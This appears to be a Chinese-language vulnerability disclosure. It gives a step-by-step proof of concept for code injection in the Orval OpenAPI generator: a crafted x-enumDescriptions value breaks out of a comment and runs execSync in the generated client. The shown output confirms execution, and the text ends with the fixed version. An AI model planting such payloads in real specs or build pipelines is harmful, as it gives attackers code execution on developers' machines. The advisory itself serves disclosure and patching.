本演练演示了不受信任的 OpenAPI 规范如何利用 x-enumDescriptions 和 x-enumNames 字段,通过 Orval 将任意代码注入到生成的客户端中。
orval 版本(例如 7.10.0):mkdir orval-poc
cd orval-poc
npm init -y
npm install [email protected] axios
orval.config.js:module.exports = {
test: {
input: './openapi.yaml',
output: {
target: './generated/api.ts',
schemas: './generated/model',
mode: 'split',
},
},
};
openapi.yaml:openapi: 3.0.0
info:
title: Test API
version: 1.0.0
paths:
/test:
get:
responses:
'200':
description: OK
content:
application/json:
schema:
type: object
properties:
status:
$ref: '#/components/schemas/TestEnum'
components:
schemas:
TestEnum:
type: string
enum:
- VAL1
x-enumDescriptions:
- "*/ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /*"
npx orval
generated/model/testEnum.ts:/**
* Generated by orval v7.10.0 🍺
* Do not edit manually.
* Test API
* OpenAPI spec version: 1.0.0
*/
export type TestEnum = typeof TestEnum[keyof typeof TestEnum];
// eslint-disable-next-line @typescript-eslint/no-redeclare
export const TestEnum = {
/** */ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /* */
VAL1: 'VAL1',
} as const;
创建一个运行脚本 exploit.ts:
import { TestEnum } from './generated/model/testEnum';
console.log('TestEnum value:', TestEnum);
使用 tsx 运行它:
npm install -D tsx
npx tsx exploit.ts
输出:
🍻 Start orval v7.10.0 - A swagger client generator for typescript
🎉 test - Your OpenAPI spec has been converted into ready to use orval!
ID_COMMAND_OUTPUT: uid=1002(boroeurn) gid=1002(boroeurn) groups=1002(boroeurn),27(sudo),100(users),126(libvirt),986(docker),993(kvm)
TestEnum value: {}
将 Orval 升级到 8.0.2 或更高版本。该修复使用 js-string-escape 正确转义了这些字符串。